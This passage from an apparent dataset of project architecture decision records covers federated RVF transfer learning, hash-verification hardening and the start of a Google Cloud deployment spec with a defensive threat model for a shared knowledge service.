Server-side encryption with CMEK\n\n**Firestore**: Metadata registry\n- Collection: `federation_manifests`\n- Documents: manifest metadata, contributor reputation scores, merge history\n- Real-time listeners for new contribution notifications\n\n**Cloud Run**: Aggregation service\n- Extends the existing `examples/google-cloud/` server\n- New endpoints: `POST /federation/submit`, `GET /federation/pull`, `POST /federation/aggregate`\n- Rate limiting: 100 submissions/hour per contributor\n- IAM-based access control\n\n### 6. Transfer Learning Protocol\n\n**Export Flow**:\n1. User triggers export (CLI: `rvf federation export --domain --epsilon 1.0`)\n2. `rvf-adapters/federation` extracts `TransferPrior`, `PolicyKernel`, `CostCurve`, and SONA weights from local engines\n3. `rvf-pii-strip` scans and redacts all payloads, generating `RedactionLog` segment\n4. `rvf-diff-privacy` adds calibrated noise to numerical parameters, generating `DiffPrivacyProof` segment\n5. `rvf-federation` assembles the export: `FederatedManifest` + learning segments + `RedactionLog` + `DiffPrivacyProof` + `Witness` chain + `Crypto` signature\n6. `rvf-gcloud` uploads to GCS and publishes notification to Pub/Sub\n\n**Import Flow**:\n1. User subscribes to federation updates (CLI: `rvf federation subscribe --domains `)\n2. `rvf-gcloud` receives Pub/Sub notification, downloads RVF file from GCS\n3. `rvf-federation` validates: signature check, witness chain verification, privacy proof verification, version compatibility check\n4. `rvf-federation` merges: version-aware prior dampening (same sqrt-scaling as `MetaThompsonEngine::init_domain_with_transfer`), conflict resolution for competing patterns\n5. `rvf-adapters/federation` imports merged learning into local SONA and domain expansion engines\n\n**Federated Averaging**:\n1. Aggregation server collects N exports for a given domain/version\n2. `rvf-fed-aggregate` computes weighted average (weight = contributor reputation * trajectory count * quality score)\n3. Byzantine tolerance: exclude outliers beyond 2 standard deviations from the mean\n4. Generate aggregate `AggregateWeights (0x36)` segment\n5. Publish aggregate back to GCS for all subscribers\n\n### 7. Version-Aware Merging\n\nLearning from different RVF versions must be handled:\n- **Same version**: Direct merge using federated averaging\n- **Newer to older**: Newer learning carries a version tag; older clients skip segments they cannot parse (RVF forward compatibility)\n- **Older to newer**: Accepted with dampened confidence (lower weight in averaging)\n- **Conflict resolution**: When two priors disagree on a bucket/arm, merge using `BetaParams::merge()` (sum parameters minus uniform prior)\n\n### 8. MCP Server Interface\n\nA dedicated `mcp-federation` crate provides AI agent access to federation through MCP (JSON-RPC 2.0 over stdio), following the same pattern as the existing `mcp-gate` crate:\n\n| Tool | Purpose |\n|------|---------|\n| `federation_export` | Extract learning, strip PII, apply DP noise, sign, and upload |\n| `federation_import` | Pull, validate, and merge federated learning into local engines |\n| `federation_status` | Read privacy budget, recent activity, contributor reputation |\n| `federation_search` | Query the registry for available learning by domain/quality |\n| `federation_budget` | Check remaining privacy budget and export history |\n| `federation_aggregate` | Trigger server-side aggregation round |\n\nResources (read-only): `federation://domains`, `federation://contributors`, `federation://rounds/{id}`, `federation://budget`\n\nRegistration: `claude mcp add mcp-federation -- cargo run -p mcp-federation`\n\n### 9. REST API Interface\n\nThe `rvf-fed-server` crate provides a REST API (axum-based, deployed on Cloud Run) for programmatic access:\n\n- **Export/Import**: `POST /v1/exports`, `GET /v1/exports/{id}`, `DELETE /v1/exports/{id}`\n- **Aggregation**: `POST /v1/aggregates`, `GET /v1/aggregates/{round_id}`, `GET /v1/aggregates/latest`\n- **Registry**: `GET /v1/domains`, `GET /v1/contributors/{pseudonym}`, `GET /v1/contributors/{pseudonym}/budget`\n- **Events**: `GET /v1/events?domain=X` (Server-Sent Events for real-time notifications)\n- **Health**: `GET /v1/health`, `GET /v1/metrics` (Prometheus)\n\nAuthentication: API key (Bearer token) or Ed25519 signed requests. Rate-limited per contributor.\n\nSDKs: Rust (`rvf_federation::client::FederationClient`) and TypeScript (`@ruvector/rvf-federation`).\n\n### 10. Selective Sharing\n\nUsers control what they share via a `FederationPolicy`:\n- **Allowlist/Denylist**: Specific segment types or domains to include/exclude\n- **Quality Gate**: Only export learning from trajectories above a quality threshold (reuses SONA's `quality_threshold`)\n- **Minimum Evidence**: Only export priors with sufficient observations (reuses `TransferPrior::extract_summary()`'s >12 observation filter)\n- **Rate Limit**: Maximum exports per time period\n- **Privacy Budget**: Cumulative epsilon limit before exports are blocked\n\n## Consequences\n\n### Benefits\n\n1. **Knowledge acceleration**: New users bootstrap from community learning instead of starting cold\n2. **Privacy-preserving**: PII stripping + differential privacy ensure no sensitive data leaks\n3. **RVF-native**: No new wire formats; everything is standard RVF segments\n4. **Cryptographically auditable**: Witness chains prove provenance without revealing content\n5. **Incremental adoption**: Feature-gated, optional, selective sharing\n6. **Cloud-native**: Google Cloud Pub/Sub + GCS + Firestore provide scalable infrastructure\n7. **WASM-compatible**: Browser-based exports via `rvf-fed-wasm`\n8. **MCP-integrated**: AI agents access federation through standard MCP tools (JSON-RPC 2.0)\n9. **API-first**: REST API with SSE events for programmatic access, Rust and TypeScript SDKs\n\n### Risks\n\n| Risk | Severity | Mitigation |\n|------|----------|------------|\n| Poisoning attacks (malicious learning) | High | Byzantine-tolerant aggregation, reputation system, signature verification |\n| Privacy budget exhaustion | Medium | Configurable epsilon, budget tracking per-export, admin alerts at 80% budget |\n| Version skew causing merge failures | Medium | RVF forward compatibility, version-tagged manifests, graceful skip of unknown segments |\n| GCS cost escalation | Low | Lifecycle policies, per-contributor quotas, compression (ZSTD segment compression) |\n| Latency of federated averaging | Low | Async aggregation, Pub/Sub decoupling, local-first operation |\n| Regulatory compliance (GDPR, CCPA) | High | PII stripping attestation, data retention policies, right-to-deletion via contributor pseudonym revocation |\n\n### Segment Allocation Map (Updated)\n\n```\n0x00 Invalid\n0x01-0x0F Core segments (Vec, Index, Overlay, Journal, Manifest, Quant, Meta, Hot, Sketch, Witness, Profile, Crypto, MetaIdx, Kernel, Ebpf)\n0x10-0x11 Extension segments (Wasm, Dashboard)\n0x12-0x1F RESERVED (12 slots available)\n0x20-0x23 Storage segments (CowMap, Refcount, Membership, Delta)\n0x24-0x2F RESERVED (12 slots available)\n0x30-0x32 Domain expansion (TransferPrior, PolicyKernel, CostCurve)\n0x33-0x36 Federation (FederatedManifest, DiffPrivacyProof, RedactionLog, AggregateWeights) <-- NEW\n0x37-0xEF RESERVED (future use)\n0xF0-0xFF RESERVED (system)\n```\n\n## Compliance\n\n- **GDPR Article 25**: Privacy by design -- PII stripping is mandatory before export, not optional\n- **GDPR Article 17**: Right to erasure -- contributor pseudonym revocation removes all associated exports from GCS\n- **CCPA Section 1798.105**: Deletion requests honored via pseudonym revocation\n- **NIST SP 800-188**: De-identification via differential privacy with formal epsilon guarantees\n\n## 11. Shared Development Brain\n\nThe Shared Brain (`mcp-brain` + `mcp-brain-server`) is the practical deployment of this federation architecture. It provides:\n\n- **MCP Interface**: 10 tools for sharing, searching, voting, transferring, and monitoring knowledge\n- **Cloud Run Backend**: axum REST API at `brain.ruv.io` with Firestore + GCS persistence\n- **RVF-Native**: Every shared memory is a full cognitive container with witness chains, signatures, and diff privacy proofs\n- **Federation Bridge**: Brain memories with quality_score > 0.8 and observations >= 10 are automatically promoted to federated exports via FederatedManifest (0x33)\n- **Zero-Trust**: Seven security layers protect against untrusted public users (see ADR-059)\n\nSee [ADR-059](ADR-059-shared-brain-google-cloud.md) for full deployment specification.\n\n## References\n\n- McMahan et al., \"Communication-Efficient Learning of Deep Networks from Decentralized Data\" (FedAvg)\n- Abadi et al., \"Deep Learning with Differential Privacy\" (DP-SGD)\n- Mironov, \"Renyi Differential Privacy\" (RDP composition)\n- Blanchard et al., \"Machine Learning with Adversaries: Byzantine Tolerant Gradient Descent\" (Byzantine tolerance)\n- RVF Format Specification (ADR-029)\n- SONA Architecture (crates/sona)\n- Domain Expansion Engine (crates/ruvector-domain-expansion)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-057-federated-rvf-transfer-learning.md", "created_at": "2026-03-28T11:58:49.667175+00:00", "content_hash": "63c04d057c925815ef00caa6d2c7a455c2648cc50a86f57065b57fda71b22364"} +{"id": "6d7320cd-f9e1-4c3e-b66d-86640c469b67", "source": "adr", "text": "# ADR-058: RVF Hash Security Hardening and Optimization\n\n**Status**: Accepted\n**Date**: 2026-02-27\n**Authors**: ruv.io, RuVector Architecture Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n**Relates to**: ADR-029 (RVF Canonical Format), ADR-042 (Security-RVF-AIDefence-TEE)\n\n## Context\n\n### Current Hash Implementation\n\nThe RVF wire format (`rvf-wire`) uses XXH3-128 as the sole content hash for all\nsegment integrity verification. The `checksum_algo` field in the 64-byte segment\nheader supports three values:\n\n| Algo | Name | Status |\n|------|------|--------|\n| 0 | CRC32C | Deprecated \u2014 silently upgraded to XXH3-128 |\n| 1 | XXH3-128 | Active \u2014 used for all operations |\n| 2 | SHAKE-256 | Declared in enum but **never implemented** |\n\n### Security Findings\n\nA comprehensive review of `rvf-wire/src/hash.rs`, `rvf-types/src/checksum.rs`,\nand the graph shard module (`ruvector-graph/src/distributed/shard.rs`) identified\nsix issues:\n\n1. **Non-constant-time hash comparison (P1)**: `verify_content_hash` uses `==`\n on byte arrays. While XXH3-128 is not cryptographic, a timing side-channel\n could reveal partial hash values to an attacker probing segment files over a\n network interface. For defense-in-depth, verification should use\n constant-time comparison.\n\n2. **SHAKE-256 declared but unimplemented (P2)**: `ChecksumAlgo::Shake256` (algo=2)\n exists in the enum and is accepted by `TryFrom`, but\n `compute_content_hash` ignores the algo parameter entirely \u2014 all paths route\n to XXH3-128. A writer could set `checksum_algo=2` in the header and it would\n silently verify against XXH3-128, creating a false sense of cryptographic\n integrity.\n\n3. **Algo parameter ignored (P2)**: `compute_content_hash(_algo, data)` discards\n the algorithm selector. If a future writer uses algo=2, the verifier cannot\n detect the mismatch.\n\n4. **No keyed/HMAC hash option (P3)**: The current scheme provides integrity\n (accidental corruption detection) but not authentication. For federated\n transfer scenarios (ADR-057), a keyed hash is needed to prevent a\n man-in-the-middle from replacing segment payloads while recomputing the hash.\n\n5. **Dead CRC32C dependency (P3)**: `crc32c = \"0.6\"` remains in `Cargo.toml`\n even though CRC32C is fully deprecated. The `compute_crc32c` and\n `compute_crc32c_hash` functions are dead code.\n\n6. **Graph shard uses XXH3-64 (P3)**: `ruvector-graph` shard routing uses\n `xxh3_64()` (64-bit). With 2^32 nodes the birthday bound gives ~50%\n collision probability for shard assignment. This is acceptable for current\n scale but noted for future growth.\n\n### Performance Baseline\n\nXXH3-128 on 1 MB payload: ~50 GB/s on AVX2 hardware (dominated by memory\nbandwidth). No performance regression is expected from the changes below since\nthe hash function itself is not modified.\n\n## Decision\n\n### 1. Constant-Time Hash Verification\n\nReplace the `==` comparison in `verify_content_hash` with a constant-time\nbyte-equality check using `subtle::ConstantTimeEq`. This eliminates the timing\nside-channel at negligible cost (~2 ns overhead for 16 bytes).\n\n### 2. Wire SHAKE-256 Implementation\n\nImplement `compute_shake256_128(data)` using the `sha3` crate (already a\ndependency of `rvf-crypto`). Route `algo=2` in `compute_content_hash` to this\nimplementation. This makes the `ChecksumAlgo::Shake256` enum variant truthful.\n\nSHAKE-256 truncated to 128 bits provides:\n- 128-bit collision resistance (same as XXH3-128)\n- Post-quantum preimage resistance (vs XXH3's ~0 bits)\n- ~300 MB/s throughput (vs XXH3's ~50 GB/s) \u2014 acceptable for\n security-sensitive segments where correctness matters more than speed\n\n### 3. Honor the Algo Parameter\n\nMake `compute_content_hash` dispatch on the algo value:\n- 0 \u2192 XXH3-128 (CRC32C upgrade, backward compatible)\n- 1 \u2192 XXH3-128\n- 2 \u2192 SHAKE-256 (first 128 bits)\n- other \u2192 XXH3-128 (fallback)\n\n### 4. Remove Dead CRC32C Code\n\nRemove `compute_crc32c()`, `compute_crc32c_hash()`, and the `crc32c` dependency.\nRetain the `Crc32c = 0` enum variant for backward-compatible header parsing.\n\n### 5. Add Keyed Hash Support (Algo=3)\n\nReserve `checksum_algo=3` for HMAC-SHAKE-256 (keyed integrity). Implementation\nis deferred to a follow-up PR as it requires key management infrastructure.\nAdd the enum variant now so the wire format is forward-compatible.\n\n## Consequences\n\n### Positive\n\n- Eliminates timing side-channel in hash verification\n- SHAKE-256 segments can now be written and verified correctly\n- Dead code removed, smaller dependency tree\n- Wire format is forward-compatible with keyed hashing\n\n### Negative\n\n- `subtle` crate added as a dependency (~10 KB, widely audited)\n- `sha3` crate added to `rvf-wire` (already in `rvf-crypto`)\n- Writers that relied on the silent algo-mismatch behavior will now produce\n SHAKE-256 hashes when they set algo=2 (breaking change for any such writers,\n but none are known to exist)\n\n### Risks\n\n- The `subtle` crate's constant-time guarantees depend on the compiler not\n optimizing away the timing-safe operations. Rust's `subtle` v2.6+ uses\n inline-asm barriers on supported platforms.\n\n## Implementation Plan\n\n1. Add `subtle` and `sha3` dependencies to `rvf-wire/Cargo.toml`\n2. Remove `crc32c` dependency and dead CRC32C functions\n3. Implement `compute_shake256_128()` in `hash.rs`\n4. Update `compute_content_hash()` to dispatch on algo\n5. Update `verify_content_hash()` to use `subtle::ConstantTimeEq`\n6. Add `HmacShake256 = 3` to `ChecksumAlgo` enum (reserved, no impl yet)\n7. Update tests and benchmarks\n8. Verify existing tests pass (no behavioral change for algo=0 and algo=1)\n\n## Integration with mcp-brain-server\n\nADR-075 documents the integration of `rvf-crypto` (including the SHAKE-256 functions hardened by this ADR) into the Shared Brain server. The brain server's `verify.rs` module previously used inline `sha3::Shake256` calls; it now delegates to `rvf_crypto::shake256_256()` for content hashing and `rvf_crypto::create_witness_chain()` / `rvf_crypto::verify_witness_chain()` for tamper-evident audit trails. This ensures that the constant-time comparison and proper algo dispatch implemented here are used consistently across the stack.\n\nSee: [ADR-075 \u2014 Wire Full RVF AGI Stack into mcp-brain-server](ADR-075-rvf-agi-stack-brain-integration.md)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-058-hash-security-optimization.md", "created_at": "2026-03-28T11:58:49.703050+00:00", "content_hash": "1afe95ce3dbf6979cd8f4f713b60f2bf95090f97ffc45e49e361c6c9111b9c71"} +{"id": "43841e76-ea16-4735-a3c3-944f396f8774", "source": "adr", "text": "# ADR-059: Shared Brain \u2014 Google Cloud Deployment\n\n**Status**: Accepted\n**Date**: 2026-02-27\n**Authors**: RuVector Team\n**Deciders**: ruv\n**Supersedes**: N/A\n**Related**: ADR-057 (Federated RVF Transfer Learning)\n\n## 1. Overview\n\nPublic shared superintelligence for the RuVector/swarm/hive-mind ecosystem. Multiple Claude Code sessions share learning \u2014 patterns, solutions, debugging insights, transfer priors, policy kernels \u2014 through an RVF-native knowledge substrate. Knowledge enters as embeddings, gets verified by witness chains, partitioned by mincut, ranked by attention, drift-monitored by deltas, protected from poisoning by Byzantine-tolerant aggregation, gated by multi-factor reputation, and exchanged as RVF cognitive containers.\n\nHosted at `brain.ruv.io` (\u0394.ruv.io).\n\n**This is a PUBLIC system for UNTRUSTED users.** Every input is adversarial until proven otherwise.\n\nThe Shared Brain bridges the gap between isolated Claude Code sessions and a collective intelligence. Each session can contribute distilled insights \u2014 not raw code or conversation logs, but structured learning artifacts: SONA embeddings, transfer priors, policy kernels, cost curves, and debugging heuristics. These artifacts flow through a seven-layer security pipeline before entering the shared knowledge graph. Other sessions query this graph to bootstrap cold-start problems, avoid known pitfalls, and accelerate convergence on novel tasks.\n\nThe system is designed for zero-trust operation. Contributors are pseudonymous. All data is PII-stripped and differentially private before leaving the client. Server-side verification re-checks every guarantee. Byzantine-tolerant aggregation prevents poisoning even if a minority of contributors are adversarial. Multi-factor reputation ensures that high-quality contributors have more influence over time, while low-quality or malicious contributors are progressively marginalized.\n\n## 2. Threat Model\n\nThe Shared Brain operates as a public service accepting input from untrusted, pseudonymous users. The following threat categories are addressed:\n\n### Untrusted Users\nAll contributors are pseudonymous and potentially adversarial. No contributor is trusted by default. The system assumes any input may be crafted to degrade collective knowledge quality or extract private information.\n\n### Adversarial Inputs\nMalformed RVF containers, oversized payloads, invalid segment layouts, and schema-violating metadata are all expected. Input validation rejects anything that does not conform to the RVF specification before further processing.\n\n### Embedding Poisoning Attacks\nAn adversary may submit carefully crafted embeddings designed to shift the collective knowledge centroid toward incorrect or misleading regions. Defenses include Byzantine-tolerant aggregation (2-sigma outlier exclusion), minimum observation thresholds, and reputation-weighted averaging that limits the influence of new or low-quality contributors.\n\n### Credential Theft\nAPI keys and Ed25519 signing keys are stored in Google Cloud Secret Manager with strict IAM policies. Keys are never embedded in code, configuration files, or container images. Rotation policies enforce periodic key changes.\n\n### Replay Attacks\nThe server issues a challenge nonce via `GET /v1/challenge` (short-lived, single-use). The client includes this nonce in the `FederatedManifest (0x33)` segment and signs it with Ed25519. The server accepts exactly once per nonce and rejects replays. This avoids clock-drift issues inherent in timestamp windows. Nonces expire after 5 minutes if unused.\n\n### DoS and DDoS\nDefense is layered to reject cheap attacks before reaching expensive verification:\n\n1. **Edge gate**: External HTTPS Load Balancer with Cloud Armor rate-based rules (IP-level, rejects botnets before they reach Cloud Run)\n2. **First-packet gate**: Require a short-lived challenge token (server-issued nonce bound to contributor key). Reject requests without a valid token before any crypto verification.\n3. **Application gate**: `BudgetTokenBucket` enforces per-contributor quotas (100 writes/hr, 1000 reads/hr). Payload size limits (1MB) prevent resource exhaustion. Optional proof-of-work challenges activate under sustained load.\n\nThis sequence ensures botnet traffic burns load balancer budget (cheap) rather than Cloud Run compute budget (expensive).\n\n### PII Leakage\nClient-side PII stripping (rvf-pii-strip) removes file paths, IP addresses, email addresses, API keys, usernames, and environment variable references before any data leaves the client. Server-side PII re-checking provides defense-in-depth. Differential privacy noise injection (rvf-diff-privacy) provides mathematical guarantees against reconstruction.\n\n### Model Inversion via Embeddings\nSONA embeddings could theoretically be inverted to reconstruct source content. Differential privacy noise injection (calibrated Gaussian noise with configurable epsilon/delta) ensures that individual contributions cannot be extracted from aggregated embeddings. The `DiffPrivacyProof (0x34)` segment attests to the noise parameters applied.\n\n### Sybil Attacks\nA single adversary may create multiple pseudonyms to amplify their influence. Defenses include: cold-start reputation (0.1) that limits initial influence, reputation decay (5%/month) that prevents inactive Sybils from accumulating score, and voting quorum requirements (minimum 3 distinct voters) that limit the impact of a small number of colluding pseudonyms.\n\n### Byzantine Behavior\nContributors may behave correctly most of the time but inject subtle poisoning at strategic moments. The `FederatedAggregator` applies 2-sigma outlier exclusion on every aggregation round. `CognitiveMinCutEngine` applies SNN attractor dynamics to detect clusters of anomalous behavior. `VectorDelta` centroid tracking flags knowledge drift exceeding 30%.\n\n## 3. RVF-Native Security\n\nEvery shared knowledge item is an RVF cognitive container with a full security envelope:\n\n- **64-byte headers** with SHAKE-256 content hashes (quantum-robust \u2014 128-bit security against Grover's algorithm)\n- **Constant-time hash verification** via `subtle::ConstantTimeEq` to prevent timing side-channels\n- **Ed25519 signatures** on every segment, verifiable without accessing payload content\n- **WITNESS_SEG chains** linking all operations in a tamper-evident audit trail: PII stripping \u2192 embedding generation \u2192 DP noise injection \u2192 sharing \u2192 voting \u2192 transfer\n- **CutCertificate** proving partition integrity via spectral graph analysis\n- **AuditLogger** recording all graph mutations to `brain_audit_log` Firestore collection\n\n### Seven Security Layers\n\n**Layer 1: Input Sanitization (Client-Side)**\n- PII strip via `rvf-pii-strip`: file paths, IPs, emails, API keys, usernames, environment variables\n- Size limits: 1MB maximum payload, 11 segments maximum per container\n- Schema validation: all segments must conform to RVF type specifications\n- Differential privacy: calibrated Gaussian noise on all numerical parameters (default \u03b5=1.0, \u03b4=1e-5, sensitivity=1.0, clipping_norm=1.0). The `DiffPrivacyProof (0x34)` segment records the exact \u03b5/\u03b4/sensitivity/clipping parameters used. Server rejects containers whose DP proof does not match the enforced policy (making the privacy claim falsifiable, not just aspirational).\n- RVF integrity: SHAKE-256 content hash computed and embedded in 64-byte header\n\n**Layer 2: Server-Side Verification**\n- PII re-check: server runs the same PII detection pipeline; rejects containers with detected PII\n- Witness chain verification: every WITNESS_SEG must form a valid chain from the first operation to the final signature\n- Signature verification: Ed25519 signature on every segment must verify against the contributor's registered public key\n- Content hash verification: SHAKE-256 hash in header must match recomputed hash of payload (constant-time comparison)\n- Embedding bounds check: all embedding dimensions must be within [-10.0, 10.0]; reject containers with out-of-bounds values\n\n**Layer 3: DoS Protection (three sub-gates)**\n- **Edge gate**: Cloud Armor rate-based rules on the external HTTPS LB reject botnets at L7 before reaching Cloud Run\n- **First-packet gate**: Write endpoints require a server-issued challenge nonce (`GET /v1/challenge`). Requests without a valid nonce are rejected before expensive crypto verification. Nonces are single-use and expire in 5 minutes.\n- **Application gate**: `BudgetTokenBucket` \u2014 100 writes/hour, 1000 reads/hour per contributor pseudonym (10 writes/hour for cold-start). Per-endpoint budgets: search=500/hr, get=1000/hr, vote=200/hr, transfer=20/hr\n- Optional proof-of-work: SHA-256 challenge with configurable difficulty (activated under sustained load for anonymous/low-reputation users)\n- Negative cache: recently rejected contributor/hash pairs are cached for 5 minutes to prevent repeated submission\n- Payload size limit: 1MB per request; 10MB per hour per contributor\n- **Negative cost fuse**: When Firestore error rate >5% or GCS p99 latency >2s, the server sheds write load and forces read-only mode until health recovers\n\n**Layer 4: Byzantine-Tolerant Aggregation**\n- `FederatedAggregator`: weighted FedAvg with reputation-based weights\n- 2-sigma outlier exclusion: contributions more than 2 standard deviations from the running mean are excluded\n- `CognitiveMinCutEngine` isolation: SNN attractor dynamics partition the knowledge graph; anomalous clusters are quarantined\n- Voting quorum: minimum 3 distinct voters required before a memory's quality score influences aggregation\n\n**Layer 5: Multi-Factor Reputation**\n- Composite score: `accuracy\u00b2 \u00d7 uptime \u00d7 stake_weight` where `stake_weight = min(1.0, log10(stake + 1) / 6)`\n- Cold start: new contributors begin at reputation 0.1\n- Decay: 5% per month for inactive contributors\n- Poisoning penalty: contributors with >5 downvotes and average quality <0.2 have their reputation halved\n- Stored in `brain_contributors` Firestore collection with full history\n\n**Layer 6: Anti-Drift Monitoring**\n- `VectorDelta` centroid tracking: monitors the running centroid of all embeddings per knowledge domain\n- Anomaly detection: flags shifts exceeding 30% of the domain centroid magnitude\n- `CognitiveMinCutEngine` SNN: spectral analysis identifies emerging knowledge clusters and detects fragmentation\n- Automated alerts when drift exceeds thresholds (Cloud Monitoring integration)\n\n**Layer 7: Audit and Revocation**\n- `WITNESS_SEG` chain: every operation from PII stripping to final aggregation is recorded in a tamper-evident chain\n- Pseudonym revocation: revoking a contributor pseudonym cascades to remove all their contributions from the active graph\n- `CutCertificate` audit: spectral graph certificates prove that partitioning preserved structural integrity\n- Full audit log in `brain_audit_log` Firestore collection with 365-day retention\n\n## 4. Google Cloud Architecture\n\n### Cloud Run: ruvbrain\n\nThe core service runs as an axum-based HTTP server on Cloud Run:\n\n- **Service name**: `ruvbrain`\n- **Project**: `ruv-dev`\n- **Region**: `us-central1`\n- **Image**: `gcr.io/ruv-dev/ruvbrain:latest`\n- **Auto-scaling**: 0 to 10 instances (scale-to-zero for cost efficiency)\n- **Resources**: 2 vCPU, 2Gi RAM per instance\n- **Concurrency**: 80 requests per instance\n- **Startup probe**: `GET /v1/health` with 10-second timeout\n- **Environment variables**:\n - `GOOGLE_CLOUD_PROJECT=ruv-dev`\n - `GCS_BUCKET=ruvector-brain-us-central1`\n - `FIRESTORE_URL=https://firestore.googleapis.com/v1/projects/ruv-dev/databases/(default)/documents`\n - `RUST_LOG=info`\n- **Secrets** (via Secret Manager):\n - `BRAIN_API_KEY=brain-api-key:latest`\n - `BRAIN_SIGNING_KEY=brain-signing-key:latest`\n\n### Firestore (Native Mode)\n\nCollections in the `(default)` Firestore database (reusing the existing free-tier database on `ruv-dev`):\n\n| Collection | Purpose | Key Fields |\n|------------|---------|------------|\n| `brain_memories` | Shared knowledge items | `id`, `contributor`, `embedding`, `quality_score`, `observations`, `created_at`, `updated_at` |\n| `brain_contributors` | Contributor profiles and reputation | `pseudonym`, `public_key`, `reputation`, `stake`, `contributions_count`, `last_active` |\n| `brain_graph_edges` | Knowledge graph relationships | `source_id`, `target_id`, `weight`, `edge_type`, `created_at` |\n| `brain_audit_log` | Immutable operation log | `operation`, `contributor`, `memory_id`, `witness_hash`, `timestamp` |\n\n### Google Cloud Storage (GCS)\n\n- **Bucket**: `ruvector-brain-us-central1` (single-region for low latency, lifecycle-managed)\n- **Object naming**: `{domain}/{contributor_pseudonym}/{timestamp}.rvf`\n- **Storage class**: Standard for active data, Nearline for archive\n- **Lifecycle**: auto-archive after 90 days, delete after 365 days\n- **Encryption**: Google-managed keys (default) with option for CMEK\n- **Access**: Private; accessible only via Cloud Run service account\n\n### Secret Manager\n\nKey separation principle: contributor keys authorize content operations only; service identity keys authorize infrastructure operations only. No contributor key can trigger Firestore/GCS admin operations.\n\n- `brain-api-key`: API key for contributor authentication (authorizes read/write of content only)\n- `brain-signing-key`: Ed25519 private key for server-side attestation signatures (never exposed to contributors)\n- Service account authentication: Workload Identity Federation (preferred) \u2014 no stored credentials. Falls back to `brain-firestore-credentials` only if WIF is unavailable.\n- **Rotation**: 90-day rotation policy with automatic version management\n- **Scoping**: Contributor Ed25519 keys (submitted in requests) authorize authorship and deletion. Service Ed25519 key (in Secret Manager) signs server attestations. These are distinct key hierarchies.\n\n### Cloud IAM\n\n- Service account: `mcp-brain-server@ruv-dev.iam.gserviceaccount.com`\n- Minimal permissions:\n - `roles/datastore.user` on Firestore\n - `roles/storage.objectAdmin` on the brain GCS bucket\n - `roles/secretmanager.secretAccessor` on brain secrets\n - `roles/monitoring.metricWriter` for metrics export\n- Workload Identity Federation for keyless authentication from Cloud Run\n\n### External HTTPS Load Balancer + Serverless NEG\n\nCloud Armor and Cloud CDN require an external HTTPS Load Balancer \u2014 they do not attach directly to Cloud Run domain mappings. The production architecture uses:\n\n1. **Serverless Network Endpoint Group (NEG)**: Points to the Cloud Run `mcp-brain-server` service\n2. **External HTTPS Load Balancer**: Routes traffic through the serverless NEG to Cloud Run\n3. **Cloud Armor WAF policy** (`brain-waf-policy`): Attached to the load balancer backend service\n - Rate limiting: 1000 requests/minute per IP\n - Geo-blocking: configurable (default: allow all)\n - OWASP CRS rules: SQL injection, XSS, protocol attack protection\n - Custom rules: block requests with known malicious patterns\n4. **Cloud CDN**: Enabled on the load balancer for read-heavy endpoints (`/v1/memories/search`, `/v1/status`)\n\n> **Note**: Cloud Run direct domain mapping (Path A) is used for initial development. Production public deployment (Path B) requires the external HTTPS LB + serverless NEG path for full Cloud Armor and CDN integration. See the deployment runbook for both paths.\n\n### VPC Service Controls\n\n- Service perimeter: `brain-perimeter`\n- Restricted services: Firestore, Cloud Storage\n- Access levels: Cloud Run service account only\n- Prevents data exfiltration via unauthorized API calls\n\n### Custom Domain\n\n- Domain: `brain.ruv.io` (also accessible as `\u0394.ruv.io`)\n- SSL: Google-managed certificate (auto-renewal via load balancer)\n- DNS: A record pointing to the load balancer's external IP (production) or CNAME to `ghs.googlehosted.com` (development)\n- Both paths serve the same Cloud Run backend\n\n## 5. Data Flow (RVF-Native)\n\n### Client-Side (Export Path)\n\n```\nLocal Learning Artifacts\n \u2502\n \u25bc\nPII Strip (rvf-pii-strip)\n \u2502 \u2192 Remove file paths, IPs, emails, API keys, usernames\n \u2502 \u2192 Generate RedactionLog (0x35) segment\n \u2502\n \u25bc\nSONA Embed\n \u2502 \u2192 Convert stripped content to SONA embedding (f32 \u00d7 dim)\n \u2502 \u2192 Generate Vec (0x01) segment\n \u2502\n \u25bc\nDP Noise Injection (rvf-diff-privacy)\n \u2502 \u2192 Add calibrated Gaussian noise (\u03b5=1.0, \u03b4=1e-5)\n \u2502 \u2192 Generate DiffPrivacyProof (0x34) segment\n \u2502\n \u25bc\nRVF Package Assembly\n \u2502 \u2192 Assemble 11 segments (see Section 6)\n \u2502 \u2192 Compute SHAKE-256 content hashes for all segments\n \u2502 \u2192 Generate Manifest (0x05) segment directory\n \u2502\n \u25bc\nEd25519 Sign\n \u2502 \u2192 Sign full container with contributor's private key\n \u2502 \u2192 Generate Crypto (0x0C) segment\n \u2502\n \u25bc\nHTTPS POST to brain.ruv.io/v1/memories\n```\n\n### Server-Side (Ingest Path)\n\n```\nHTTPS POST received\n \u2502\n \u25bc\nSignature Verify\n \u2502 \u2192 Ed25519 signature check against registered public key\n \u2502 \u2192 Reject if signature invalid\n \u2502\n \u25bc\nWitness Chain Verify\n \u2502 \u2192 Walk WITNESS_SEG (0x0A) chain from first to last operation\n \u2502 \u2192 Reject if chain is broken or tampered\n \u2502\n \u25bc\nContent Hash Verify\n \u2502 \u2192 Recompute SHAKE-256 for each segment payload\n \u2502 \u2192 Constant-time comparison with header hash\n \u2502 \u2192 Reject if any hash mismatch\n \u2502\n \u25bc\nPII Re-Check\n \u2502 \u2192 Run server-side PII detection on all string fields\n \u2502 \u2192 Reject if any PII detected (defense-in-depth)\n \u2502\n \u25bc\nEmbedding Bounds Check\n \u2502 \u2192 Verify all embedding dimensions in [-10.0, 10.0]\n \u2502 \u2192 Reject if out-of-bounds (potential poisoning)\n \u2502\n \u25bc\nReputation Gate\n \u2502 \u2192 Check contributor reputation score\n \u2502 \u2192 Apply rate limits based on reputation tier\n \u2502 \u2192 Cold-start contributors limited to 10 writes/hr\n \u2502\n \u25bc\nStore\n \u2502 \u2192 Write RVF container to GCS bucket\n \u2502 \u2192 Write metadata to brain_memories Firestore collection\n \u2502 \u2192 Write audit entry to brain_audit_log\n \u2502 \u2192 Update contributor stats in brain_contributors\n```\n\n## 6. RVF Segment Layout per Memory\n\nEach shared memory is a complete RVF cognitive container containing 11 segments:\n\n| Index | Segment Code | Segment Name | Purpose |\n|-------|-------------|--------------|---------|\n| 0 | `0x05` | Manifest | Segment directory \u2014 lists all segments in this container, their offsets, and sizes. Serves as the table of contents. |\n| 1 | `0x01` | Vec | SONA embedding vector (`f32 \u00d7 dim`). The semantic representation of the shared knowledge, used for similarity search. |\n| 2 | 